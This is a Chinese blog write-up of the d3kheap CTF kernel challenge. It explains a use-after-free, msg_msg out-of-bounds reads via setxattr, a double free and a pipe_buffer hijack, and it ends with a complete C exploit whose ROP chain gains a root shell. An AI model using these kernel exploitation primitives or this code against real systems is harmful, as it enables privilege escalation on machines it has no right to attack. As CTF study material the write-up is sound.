kernel内存搜索技术
196082 慢慢好起来

这里作为演示的例题为d3kheap,也是我拖了很久的复现题目,题目链接放在文章末尾。这篇文章使用的方法是作者的预期解的方法,也就是setxattr多次劫持msg_msg泄漏地址,在下一篇文章会记录第二种方法 CVE-2021-22555。

题目分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
void __fastcall d3kheap_ioctl(__int64 a1, __int64 a2)
{
void *v2; // rax

_fentry__(a1, a2);
raw_spin_lock(&spin);
if ( (_DWORD)a2 != 0xDEAD )
{
if ( (unsigned int)a2 > 0xDEAD )
goto LABEL_13;
if ( (_DWORD)a2 == 0x1234 )
{
if ( buf )
{
printk(&unk_480);
}
else
{
v2 = (void *)kmem_cache_alloc_trace(kmalloc_caches[10], 0xCC0LL, 1024LL);
++ref_count;
buf = v2;
printk(&unk_37A);
}
goto LABEL_5;
}
if ( (unsigned int)a2 > 0x1233 && ((_DWORD)a2 == 0x4321 || (_DWORD)a2 == 0xBEEF) )
printk(&unk_3F0);
else
LABEL_13:
printk(&unk_4F8);
LABEL_5:
pv_ops[79](&spin);
return;
}
if ( !buf )
{
printk(&unk_4A8);
goto LABEL_5;
}
if ( ref_count )
{
--ref_count;
kfree();
printk(&unk_394);
goto LABEL_5;
}
d3kheap_ioctl_cold();
}

首先题目只有create和delete的功能,漏洞点在于ref_count的错误初始化:

1
ref_count dd 1

然后就是编译选项的readme文档:

1
2
3
4
5
6
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
CONFIG_SLUB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y
  1. 开启了 Random Freelist(slab 的 freelist 会进行一定的随机化)
  2. 开启了 Hardened Freelist(slab 的 freelist 中的 object 的 next 指针会与一个 cookie 进行异或(参照 glibc 的 safe-linking))
  3. 开启了 Hardened Usercopy(在向内核拷贝数据时会进行检查,检查地址是否存在、是否在堆栈中、是否为 slab 中 object、是否非内核 .text 段内地址等等
  4. 开启了 Static Usermodehelper Path(modprobe_path 为只读,不可修改)

所以总的来说题目只存在一个UAF漏洞,除此之外什么都没有了。

这里不过多的介绍setxattr函数,在前一篇文章有介绍,这里主要内容还是放在这一项技术的实现手法。

setxattr多次劫持msg_msg实现泄漏

构造UAF

首先我们如果是要劫持msg_msg的堆块的话需要他是在free状态,所以我们需要构造出UAF,构造步骤为:

  1. add()出一个size为1024的堆块
  2. del()删除刚刚的堆块
  3. 利用msgsnd生成一块1024大小的msg_msg结构体
  4. 最后利用del()删除掉msg_msg结构体所在的堆块

之后这个堆块虽然对msg_msg来说是正在使用的状态,但是在slub看来是已经被free掉的了。

msg_msg地址搜索原理

当我们调用msgget时会创建一个消息队列时,在内核空间中会创建这样一个结构体,其表示一个消息队列:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* one msq_queue structure for each present queue on the system */
struct msg_queue {
struct kern_ipc_perm q_perm;
time64_t q_stime; /* last msgsnd time */
time64_t q_rtime; /* last msgrcv time */
time64_t q_ctime; /* last change time */
unsigned long q_cbytes; /* current number of bytes on queue */
unsigned long q_qnum; /* number of messages in queue */
unsigned long q_qbytes; /* max number of bytes on queue */
struct pid *q_lspid; /* pid of last msgsnd */
struct pid *q_lrpid; /* last receive pid */

struct list_head q_messages;
struct list_head q_receivers;
struct list_head q_senders;
} __randomize_layout;

而当我们调用 msgsnd 系统调用在指定消息队列上发送一条指定大小的 message 时,在内核空间中会创建这样一个结构体:

1
2
3
4
5
6
7
8
9
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};

所以在内核中这两个结构体会形成如下图所示的双向链表:

wjzFeZiDUpxXVKJ

如果这个消息队列中只存在一个消息则会形成如下链表:

接下来深入看一下msg_msg结构体的创建,当我们使用msgsed函数时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static long do_msgsnd(int msqid, long mtype, void __user *mtext,
size_t msgsz, int msgflg)
{
struct msg_queue *msq;
struct msg_msg *msg;
int err;
struct ipc_namespace *ns;
DEFINE_WAKE_Q(wake_q);

ns = current->nsproxy->ipc_ns;

if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
return -EINVAL;
if (mtype < 1)
return -EINVAL;

msg = load_msg(mtext, msgsz);

//...

会调用loda_msg函数,而load_msg函数最终会调用alloc_msg函数:

1
2
3
4
5
6
7
8
9
10
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;

msg = alloc_msg(len);

//...

阅读源码可以看到其会判断生成的msg_msg的结构体是否小于DATALEN_MSG也就是

1
#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))

如果小于则直接生产一个msg_msg结构体,如果大于会生成另外一个msg_msgseg结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;

alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;

msg->next = NULL;
msg->security = NULL;

len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;

cond_resched();

alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}

return msg;

out_err:
free_msg(msg);
return NULL;
}

总结上述的生成方式也就是:

  • 对于大小在【一个页面再减掉作为 header 的 msg_msg 的 size】范围内的数据而言,内核仅会分配一个 size + header size 大小的 object(通过 kmalloc),其前 0x30 大小的部分存放 msg_msg 这一 header,剩余部分用以存放用户数据
  • 对于大小超出【一个页面再减掉作为 header 的 msg_msg 的 size】范围的数据而言,其会额外生成 msg_msgseg 结构体来存放用户数据,通过 kmalloc 分配,大小为剩余未拷贝的用户数据大小加上 next 指针;该结构体与 msg_msg 的 next 成员形成一个单向链表,其前 8 字节存放指向下一个 msg_msgseg 的指针,若无则为 NULL

有了上述依据我们不难想到,我们可以通过修改m_ts的值来实现堆上的越界数据读取,并且我们可以通过next指针来实现任意地址数据泄漏。但是这里存在这样一个问题,当我们使用msgrcv来读取数据时会调用list_del函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
//...
list_del(&msg->m_list);
//...
goto out_unlock0;
//...
out_unlock0:
ipc_unlock_object(&msq->q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
if (IS_ERR(msg)) {
free_copy(copy);
return PTR_ERR(msg);
}

bufsz = msg_handler(buf, msg, bufsz);
free_msg(msg);

return bufsz;
}
1
2
3
4
5
6
static inline void list_del(struct list_head *entry)
{
__list_del_entry(entry);
entry->next = LIST_POISON1;
entry->prev = LIST_POISON2;
}

可以看到在list_del函数内部是会进行指针赋值的,所以如果存在非法地址的应用会造成panic,但是就目前为止我们还不知道任何内核地址,所以造成panic时肯定的。因此,为了绕过这一函数,并且可以读取内容我们需要修改msgrcv函数的标识位为MSG_COPY内核会将 message 拷贝一份后再拷贝到用户空间,原双向链表中的 message 并不会被 unlink,从而我们便可以多次重复地读取同一个 msg_msg 结构体中数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//...

if (msgflg & MSG_COPY) {
if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
return -EINVAL;
copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
if (IS_ERR(copy))
return PTR_ERR(copy);
}

//...

/*
* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy);
goto out_unlock0;
}

//...

接下来我们考虑越界读取的详细过程,我们首先可以利用 setxattr 修改 msg_msg 的 next 指针为 NULL、将其 m_ts 改为 0x1000 - 0x30(在 next 指针为 NULL 的情况下,一个 msg_msg 结构体最大占用一张内存页的大小),从而越界读出内核堆上数据。但是接下来我们需要进行地址搜索,所以需要搜索的地址为合法的,也就是next指针必须是合法的,如果next为非法指针则会引起kernel panic。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
struct msg_msgseg *dst_pseg, *src_pseg;
size_t len = src->m_ts;
size_t alen;

if (src->m_ts > dst->m_ts)
return ERR_PTR(-EINVAL);

alen = min(len, DATALEN_MSG);
memcpy(dst + 1, src + 1, alen);

for (dst_pseg = dst->next, src_pseg = src->next;
src_pseg != NULL;
dst_pseg = dst_pseg->next, src_pseg = src_pseg->next) {

len -= alen;
alen = min(len, DATALEN_SEG);
memcpy(dst_pseg + 1, src_pseg + 1, alen);
}

dst->m_type = src->m_type;
dst->m_ts = src->m_ts;

return dst;
}

所以我们需要确保获得一个合法的堆上地址进行搜索的同时确保我们所构造的next 链上皆为合法地址,并以 NULL 结尾,如何找到这样一个地址?

总所周知,slub 会向 buddy system 申请一张或多张连续内存页,将其分割为指定大小的 object 之后再返还给 kmalloc 的 caller,对于大小为 1024 的 object,其每次申请的连续内存页为四张,分为 16 个 object

1
2
3
4
5
6
7
8
9
# cat /proc/slabinfo 
slabinfo - version: 2.1
# name <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables <limit> <batchcount> <sharedfactor> : slabdata <active_slabs> <num_slabs> <sharedavail>

# ...

kmalloc-1k 464 464 1024 16 4 : tunables 0 0 0 : slabdata 29 29 0

# ...

如果是我们分配多个大小同为 1024 的 msg_msg 结构体,则其很容易落在地址连续的 4 张内存页上,此时若是我们从其中一个 msg_msg 结构体向后进行越界读,则很容易读取到其他的 msg_msg 结构体的数据,其 m_list 成员可以帮助我们泄露出一个堆上地址

在前面这个链表中可以看出来是互相指向的,这里调试可以看到m_list的成员是只想msg_queue结构体的q_message域,而msg_queue结构体的q_message域也是只想msg_msg结构体的m_list域。

此时按照常规思路就是首先泄漏出m_list结构内部的msg_queue结构体的地址,然后在msg_queue结构体向下进行搜索。虽然这种可以但是在后续进行ROP时会出现问题,这里先不提了后面再做解释,目前需要注意的是这里还是需要泄漏出msg_msg结构体的地址。

虽然目前来看我们已经通过越界数据读取获得了一个堆地址也就是msg_queue地址,但是我们在读取过程中是将msg_queue结构体当作msg_msgseg结构体来进行阅读,所以我们需要保证他的next指针为NULL。不过幸运的是,msg_queue->q_lrpid 在未使用 msgrcv 接收消息时为 NULL,该成员在 q_message 成员向前的 8 字节处,因此我们可以将 next 指针指向这个位置。

到目前为止我们所有存在的问题基本都已经解决了,已经可以开始进行内存搜索了。不过这里泄漏出来的kernel text地址是不一定的,原作者使用的办法是写一个字典来进行匹配,我这里也属实没有更好的解决办法了,所以继续延用了原作者的办法。

pipe_buffer劫持执行流

构造double free

这里原作者阐述了为什么不使用修改cred结构体,但是就目前来说我们想要实现任意地址写的话需要控制free堆块的类似fd指针的东西,所以我们需要使用到userfaultfd技术但是内核版本 5.11 起 userfaultfd 系统调用被限制为 root 权限才能使用,所以这条路基本是寄了。所以这里还是选择常规的劫持执行流。

因为在kernel中堆检测类似于fast bin的检测,所以我们需要形成A->B->A这样的结构。并且,我们在形成double free的方式是需要进行msgrcv来实现的,所以我们需要在free之前恢复结构。

劫持RIP

pipe_buffer 这一结构体,当我们创建一个管道时,在内核中会生成数个连续的该结构体,申请的内存总大小刚好会让内核从 kmalloc-1k 中取出一个 object

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* struct pipe_buffer - a linux kernel pipe buffer
* @page: the page containing the data for the pipe buffer
* @offset: offset of data inside the @page
* @len: length of data inside the @page
* @ops: operations associated with this buffer. See @pipe_buf_operations.
* @flags: pipe buffer flags. See above.
* @private: private data owned by the ops.
**/
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

而当我们关闭了管道的两端时,会触发 pipe_buffer->pipe_buffer_operations->release 这一指针,因此我们只需要劫持其函数表即可,劫持的位置也很清晰:因为我们最终使用的setxattr函数来进行修改pipe_buffer的内容的,所以这里就体会到了我前面所说的为什么要泄漏msg_msg的地址了,我们需要将ops劫持到他自身。并在上面写上rop进行栈迁移,因为经过调试发现执行gagdte的时候rsi 寄存器指向 pipe_buffer,因此笔者选择了一条 push rsi ; pop rsp ; pop 4 vals ; ret 的 gadget 完成栈迁移

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/prctl.h>

#define MSG_COPY 040000

size_t kernelLeakQuery(size_t kernel_text_leak)
{
size_t kernel_offset = 0xdeadbeef;
switch (kernel_text_leak & 0xfff)
{
case 0x6e9:
kernel_offset = kernel_text_leak - 0xffffffff812b76e9;
break;
case 0x980:
kernel_offset = kernel_text_leak - 0xffffffff82101980;
break;
case 0x440:
kernel_offset = kernel_text_leak - 0xffffffff82e77440;
break;
case 0xde7:
kernel_offset = kernel_text_leak - 0xffffffff82411de7;
break;
case 0x4f0:
kernel_offset = kernel_text_leak - 0xffffffff817894f0;
break;
case 0xc90:
kernel_offset = kernel_text_leak - 0xffffffff833fac90;
break;
case 0x785:
kernel_offset = kernel_text_leak - 0xffffffff823c3785;
break;
case 0x990:
kernel_offset = kernel_text_leak - 0xffffffff810b2990;
break;
case 0x900:
kernel_offset = kernel_text_leak - 0xffffffff82e49900;
break;
case 0x8b4:
kernel_offset = kernel_text_leak - 0xffffffff8111b8b4;
break;
case 0xc40:
kernel_offset = kernel_text_leak - 0xffffffff8204ac40;
break;
case 0x320:
kernel_offset = kernel_text_leak - 0xffffffff8155c320;
break;
case 0xee0:
kernel_offset = kernel_text_leak - 0xffffffff810d6ee0;
break;
case 0x5e0:
kernel_offset = kernel_text_leak - 0xffffffff810e55e0;
break;
case 0xe80:
kernel_offset = kernel_text_leak - 0xffffffff82f05e80;
break;
case 0x260:
kernel_offset = kernel_text_leak - 0xffffffff82ec0260;
break;
case 0xb50:
kernel_offset = kernel_text_leak - 0xffffffff82dd4b50;
break;
case 0x620:
kernel_offset = kernel_text_leak - 0xffffffff8109e620;
break;
case 0xa00:
kernel_offset = kernel_text_leak - 0xffffffff82f04a00;
break;
case 0x300:
kernel_offset = kernel_text_leak - 0xffffffff81b25300;
break;
case 0xbe0:
kernel_offset = kernel_text_leak - 0xffffffff82e11be0;
break;
case 0x8b0:
kernel_offset = kernel_text_leak - 0xffffffff8115b8b0;
break;
case 0x5da:
kernel_offset = kernel_text_leak - 0xffffffff824505da;
break;
case 0x3c2:
kernel_offset = kernel_text_leak - 0xffffffff824073c2;
break;
case 0xd80:
kernel_offset = kernel_text_leak - 0xffffffff82eaed80;
break;
case 0x5cb:
kernel_offset = kernel_text_leak - 0xffffffff824505cb;
break;
case 0x3c3:
kernel_offset = kernel_text_leak - 0xffffffff8240b3c3;
break;
default:
puts("[x] fill up your dict!");
break;
}
if ((kernel_offset % 0x100000) != 0) // miss hit?
kernel_offset = 0xdeadbeef;
return kernel_offset;
}

typedef struct
{
long mtype;
char mtext[1];
} msg;

struct list_head
{
struct list_head *next, *prev;
};

struct msg_msg
{
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
void *next; /* struct msg_msgseg *next; */
void *security; /* NULL without SELinux */
/* the actual message follows immediately */
};

size_t user_cs, user_ss, user_sp, user_rflags;
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*]status has been saved.");
}

void getShell()
{
if (getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

int fd;

void add()
{
ioctl(fd, 0x1234);
}

void del()
{
ioctl(fd, 0xDEAD);
}

int main()
{
save_status();
fd = open("/dev/d3kheap", O_RDONLY);
if (fd < 0)
{
puts("[*]open d3kheap error!");
exit(0);
}

char *buf = malloc(0x4000);
int ret;
unsigned long kernel_heap_leak;
unsigned long *pointer_buf = malloc(0x4000);
int kmsg_idx;
int ms_qid[0x100];
unsigned long kernel_text_leak = NULL;
unsigned long kernel_base;
unsigned long kernel_offset;
unsigned long kmsg_addr = NULL;
unsigned long search_addr;
int idx;
int pipe_fd[2];
int pipe_fd2[2];
unsigned long fake_ops_offset;
unsigned long fake_ops_addr;

add();
del();

for (int i = 0; i < 5; i++)
{
ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (ms_qid[i] < 0)
{
puts("[x] msgget!");
return -1;
}
}

for (int i = 0; i < 5; i++)
{
memset(buf, 'A' + i, 0X1000 - 8);
ret = msgsnd(ms_qid[i], buf, 1024 - 0x30, 0);
if (ret < 0)
{
puts("[x] msgsnd!");
return -1;
}
}

del();

memset(buf, 'Z', 0x1000 - 8);
((struct msg_msg *)buf)->m_list.next = NULL;
((struct msg_msg *)buf)->m_list.prev = NULL;
((struct msg_msg *)buf)->m_type = NULL;
((struct msg_msg *)buf)->m_ts = 0x1000 - 0x30;
((struct msg_msg *)buf)->next = NULL;
((struct msg_msg *)buf)->security = NULL;

setxattr("/exp", "196082", buf, 1024 - 0x30, 0);

ret = msgrcv(ms_qid[0], buf, 0x1000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (ret < 0)
{
printf("[x] msgrcv!");
return -1;
}
pointer_buf = (unsigned long)buf;
kernel_heap_leak = NULL;
for (int i = 0; i < (0x1000 - 0x30) / 8; i++)
{
// printf("[----data dump----][%d] %p\n", i, pointer_buf[i]);
if (((pointer_buf[i] & 0xffff000000000000) == 0xffff000000000000) && !kernel_heap_leak && (pointer_buf[i + 3] == (1024 - 0x30)))
{
printf("[+] We got heap leak! kheap: %p\n", pointer_buf[i]);
printf("idx=>%d\n", (int)(((char *)(&pointer_buf[i + 2]))[0] - 'A'));
idx = (int)(((char *)(&pointer_buf[i + 2]))[0] - 'A');
kernel_heap_leak = pointer_buf[i];
fake_ops_offset = i * 8 + 0x30 - 8;
break;
}
}
if (!kernel_heap_leak)
{
printf("[x] Failed to leak kernel heap!");
exit(-1);
}

search_addr = kernel_heap_leak - 8;
int leaking_times = 0;
while (1)
{
((struct msg_msg *)buf)->m_list.next = NULL;
((struct msg_msg *)buf)->m_list.prev = NULL;
((struct msg_msg *)buf)->m_type = NULL;
((struct msg_msg *)buf)->m_ts = 0x2000 - 0x30;
((struct msg_msg *)buf)->next = search_addr;
((struct msg_msg *)buf)->security = NULL;
setxattr("/exp", "196082", buf, 1024 - 0x30, 0);
printf("[*] per leaking, no.%d time(s)\n", leaking_times);
ret = msgrcv(ms_qid[0], buf, 0x2000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
leaking_times++;
if (leaking_times == 100 && !kernel_text_leak)
{
return -1;
}
if (ret < 0)
{
printf("[x] msgrcv!");
search_addr += 0x1000 - 8;
continue;
}
pointer_buf = (unsigned long)buf;
if (leaking_times == 1 && !kmsg_addr)
{
kmsg_addr = pointer_buf[(0x1000 - 0x30) / 8 + 1];
fake_ops_addr = kmsg_addr - fake_ops_offset;
printf("[*] fake ops addr=>%p\n", fake_ops_addr);
}
for (int i = (0x1000 - 0x30) / 8; i < (0x2000 - 0x30) / 8; i++)
{
if ((pointer_buf[i] > 0xffffffff81000000) && (pointer_buf[i] < 0xffffffffbfffffff) && !kernel_text_leak)
{
printf("[*] We got text leak! ktext: %p\n", pointer_buf[i]);
kernel_text_leak = pointer_buf[i];
kernel_offset = kernelLeakQuery(kernel_text_leak);
if (kernel_offset == 0xdeadbeef)
{
printf("[-] cant found kernel offset\n");
return 0;
}
kernel_base = kernel_offset + 0xffffffff81000000;
break;
}
}
if (kernel_text_leak > 0xffffffff81000000 && kernel_text_leak < 0xffffffffbfffffff)
{
break;
}
}
printf("[+] kernel base: %p\n", kernel_base);
printf("[+] kernel offset: %p\n", kernel_offset);

((struct msg_msg *)buf)->m_list.next = search_addr;
((struct msg_msg *)buf)->m_list.prev = search_addr;
((struct msg_msg *)buf)->m_type = NULL;
((struct msg_msg *)buf)->m_ts = 1024 - 0x30;
((struct msg_msg *)buf)->next = NULL;
((struct msg_msg *)buf)->security = NULL;
setxattr("/exp", "196082", buf, 1024 - 0x30, 0);
ret = msgrcv(ms_qid[idx], buf, 1024 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);
if (ret < 0)
{
puts("[x] msgrcv!");
return -1;
}
puts("[*] the gap is freed");
ret = msgrcv(ms_qid[0], buf, 1024 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);
if (ret < 0)
{
puts("[x] msgrcv!");
return -1;
}
puts("[+] double free done!");

pipe(pipe_fd);
pipe(pipe_fd2);
memset(pointer_buf, 'B', 0x1000);
pointer_buf[1] = 0xffffffff812dbede + kernel_offset;
pointer_buf[2] = fake_ops_addr;

unsigned long pop_rdi = 0xffffffff810938f0 + kernel_offset;
unsigned long init_cred = 0xffffffff82c6d580 + kernel_offset;
unsigned long commit_cred = 0xffffffff810d25c0 + kernel_offset;
unsigned long swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00ff0 + kernel_offset;

int rop = 4;
pointer_buf[rop++] = pop_rdi;
pointer_buf[rop++] = init_cred;
pointer_buf[rop++] = commit_cred;
pointer_buf[rop++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
pointer_buf[rop++] = 0;
pointer_buf[rop++] = 0;
pointer_buf[rop++] = getShell;
pointer_buf[rop++] = user_cs;
pointer_buf[rop++] = user_rflags;
pointer_buf[rop++] = user_sp;
pointer_buf[rop++] = user_ss;

setxattr("/exp", "196082", pointer_buf, 1024 - 0x30, 0);
printf("gadget addr => %p\n", pointer_buf[1]);

close(pipe_fd[0]);
close(pipe_fd[1]);

return 0;
}

补充一下

这里解释一下为什么使用swapgs_restore_regs_and_return_to_usermode+0x16首先这里是ROP所以我们需要的是最后swapgs然后iretq,并且这里是开启了KPTI保护的,所以我们在最后还需要修改cr3寄存器。其次为什么要加上0x16呢?首先我们要知道的是前面的pop对我们来说并没有什么用。其次就是在切换完cr3之后我们还有两次pop所以我们需要保证rsp也是在可以识别的,最终根据上述要求我们必须选择swapgs_restore_regs_and_return_to_usermode+0x16


参考链接:https://arttnba3.cn/2022/03/08/CTF-0X06-D3CTF2022_D3KHEAP/#0x01-%E9%A2%98%E7%9B%AE%E5%88%86%E6%9E%90

题目链接:https://github.com/196082/196082/blob/main/kernel_pwn/d3kheap.zip

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量